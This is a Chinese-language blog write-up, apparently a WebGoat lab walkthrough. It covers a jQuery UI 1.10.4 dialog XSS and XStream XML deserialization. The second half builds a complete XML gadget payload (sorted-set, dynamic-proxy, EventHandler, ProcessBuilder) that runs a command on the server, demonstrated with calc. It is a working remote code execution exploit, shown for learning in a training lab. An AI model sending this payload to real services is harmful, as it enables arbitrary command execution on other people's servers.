![40225aa1605be93c672a3b077bfb7f2d.png](https://i-blog.csdnimg.cn/blog_migrate/a7d9162f4b583b076e7a6ce67d703121.jpeg)
题目要求1:
![4cc00dc9b485f426fc11f904606b3197.png](https://i-blog.csdnimg.cn/blog_migrate/aef5d5ec1bb68aa67d6922375647e595.jpeg)
题目介绍了jquery的低版本1.10.4存在xss漏洞,1.12.0中则不存在。于是让我们分别在两个框里面随便输入一点东西,尝试在第一个框里面随便输入然后点GO以后出现xss弹窗,尝试在第二个框里面输入点GO就什么事情都没有发生,依次来说明低版本的jquery不安全。
看着是没啥毛病,于是我就简单的调试了一下界面。
先看下1.10.4的输入框相关的代码:
![676d18cf05d1524b3895cc4d5fd93466.png](https://i-blog.csdnimg.cn/blog_migrate/3ae6a322f2ff8912729d142f05299f28.png)
点GO会触发webgoat.customjs.vuln_jquery_ui()函数,这个函数就在下面一点点的代码块中:
![616898c271b37adc10593e08bd4dc89b.png](https://i-blog.csdnimg.cn/blog_migrate/b74100322c49a392d43f5b9236628836.png)
再看下1.12.0的代码:
![4488acb4a8374944e924a7f0d9acfe54.png](https://i-blog.csdnimg.cn/blog_migrate/20775b55c8ec41d9a61eac192d72df71.png)
触发的函数:
![498d88eaedacaae647bb3de438901ca3.png](https://i-blog.csdnimg.cn/blog_migrate/7954415f2e257d732055705df87a73e2.jpeg)
只是通过传给dialog的值不一样而已,一个传了弹窗,一个没穿弹窗 :)
尝试用burpsuite拦截response,把第二个输入框的dialog传入值也改成弹窗:
![efd4e22c3cb2f203739f0780a24984b3.png](https://i-blog.csdnimg.cn/blog_migrate/0802a5ecaa178dbcea1fd1f59d0cd114.jpeg)
点第二个GO也可以弹窗了,这这这……
题目要求2:
![2c78a3c26145567041580730427db56e.png](https://i-blog.csdnimg.cn/blog_migrate/e9204355d8268b1980e53a50efa44e7b.jpeg)
说这是一个有CVE编号的漏洞,可以提交一个XML文件,服务端会用XStream.fromXML(xml)来解析这个XML。
解题是很简单,直接输入空的内容就可以:
<contact>
</contact>
应该是服务端检查到缺少很多参数,所以报异常了。
网上搜了搜XML反序列化的漏洞利用,整理一下。
XML序列化可以一般使用XStream这个库,上一个简单的序列号代码:
// 待序列化的类对象
import com.thoughtworks.xstream.annotations.XStreamAlias;
@XStreamAlias("正方形")
public class Square {
@XStreamAlias("大小")
String size;
public Square(String size){
this.size = size;
}
public String getSize() {
return size;
}
public void setSize(String size) {
this.size = size;
}
}
// 序列化功能
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;
public final class XMLGenerator {
// 创建一个XStream实例,指定XML解析器是DomDriver
private static XStream xstream = new XStream(new DomDriver())
{{
processAnnotations(Square.class); // 应用Square类的注解
}};
public static String generateXML(Object to) {
return null == to ? "" : xstream.toXML(to); // 序列化
}
public static Object generateTOfromXML(String xml) {
return xstream.fromXML(xml); // 反序列化
}
}
// 调用序列化
public class XStreamPoC {
public static void main(String[] args) {
Square square = new Square(new String("123"));
String xml = XMLGenerator.generateXML(square);
System.out.println(xml);
Object sq = XMLGenerator.generateTOfromXML(xml);
System.out.println(String.format("% %", sq1, sq1.getClass()))
}
}
输出:
<正方形>
<大小>123</大小>
</正方形>
Square@6fc6f14e class Square
问题在于反序列化的过程如果没有做好严格的控制,可以直接使用对内置的类进行操作,如这里自定义一个XML然后反序列化:
String payload1 = "<string>"+
" Hello"+
"</string>"
Object sq = XMLGenerator.generateTOfromXML(payload1);
System.out.println(String.format("%s %s", sq, sq.getClass()));
输出:
Hello class java.lang.String
即这里的string就当做内置的String来使用了,然后传参了Hello。
把string指定完成的路径也是一样的效果:
String payload2 = "<java.lang.String>"+
" Hello"+
"</java.lang.String>"
Object sq = XMLGenerator.generateTOfromXML(payload2);
System.out.println(String.format("%s %s", sq, sq.getClass()));
输出:
Hello classjava.lang.String
那么是否可以用来代码执行呢,先看下java里面执行外部命令的方式:
1、Runtime的exec执行;
2、ProcessBuilder的start执行;
这里拿ProcessBuilder来举例,上一段ProcessBuilder执行外部程序的代码:
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
public class ProcessBuilderTest {
public static void main(String[] args) throws IOException {
List<String> params = new ArrayList<String>();
params.add("calc");
ProcessBuilder processBuilder = new ProcessBuilder(params);
Process process = processBuilder.start();
}
}
可以成功弹出windows的计算器程序。
那么问题来了,就算我们序列化了一个ProcessBuilder,但是怎么在服务端来执行呢?
可以结合 动态代理 + EventHandler。
EventHandler一般是用来GUI编程的,各种控件的操作产生事件来指定相应的函数,用在这里可以配合特定的事件。
Set<Comparable> set = new TreeSet<>();
set.add("forr");
set.add(EventHandler.create(Comparable.class,
new ProcessBuilder("calc"), "start"));
由于TreeSet集合是默认自动排序的,往里面add值的时候就会调用Comparable,那么就可以拿调用Comparable当成事件触发器,第二个add的时候先create一个事件处理绑定Comparable类,事件的target就是ProcessBuilder,指定目标程序是计算器,动作指定了ProcessBuilder的start方式启动命令执行。
运行后弹出计算器,会有一些报错,因为add的类型本来就不匹配,这不是重点。
那么我们想要执行的代码有了,也能自动执行了,但是我们得转化成XML的格式来提交,这么一段代码怎么转换成XML呢……
String payload4 = "<sorted-set>"+
"<string>foo</string>"+
"<dynamic-proxy>"+
"<interface>java.lang.Comparable</interface>"+
"<handler class="java.beans.EventHandler">"+
" <target class="java.lang.ProcessBuilder">"+
" <command>"+
" <string>calc</string>"+
" </command>"+
" </target>"+
" <action>start</action>"+
"</handler>"+
"</dynamic-proxy>"+
"</sorted-set>";
我也是抄的大佬的,说实话我是没看太懂这里的转换,只能看明白个大概:
![6e1a2be8eb1db0c0c75d13efcbbda1d4.png](https://i-blog.csdnimg.cn/blog_migrate/9da910cb2cfd05a6ff0b6ca3bebfa002.jpeg)
(就是这么随意 :)
测试反序列化,计算器就弹出来了 /笑哭。
![d8585a0e3e309f10705e3510800142ac.png](https://i-blog.csdnimg.cn/blog_migrate/f67dc45f718bc86334182a6c455fbfbe.jpeg)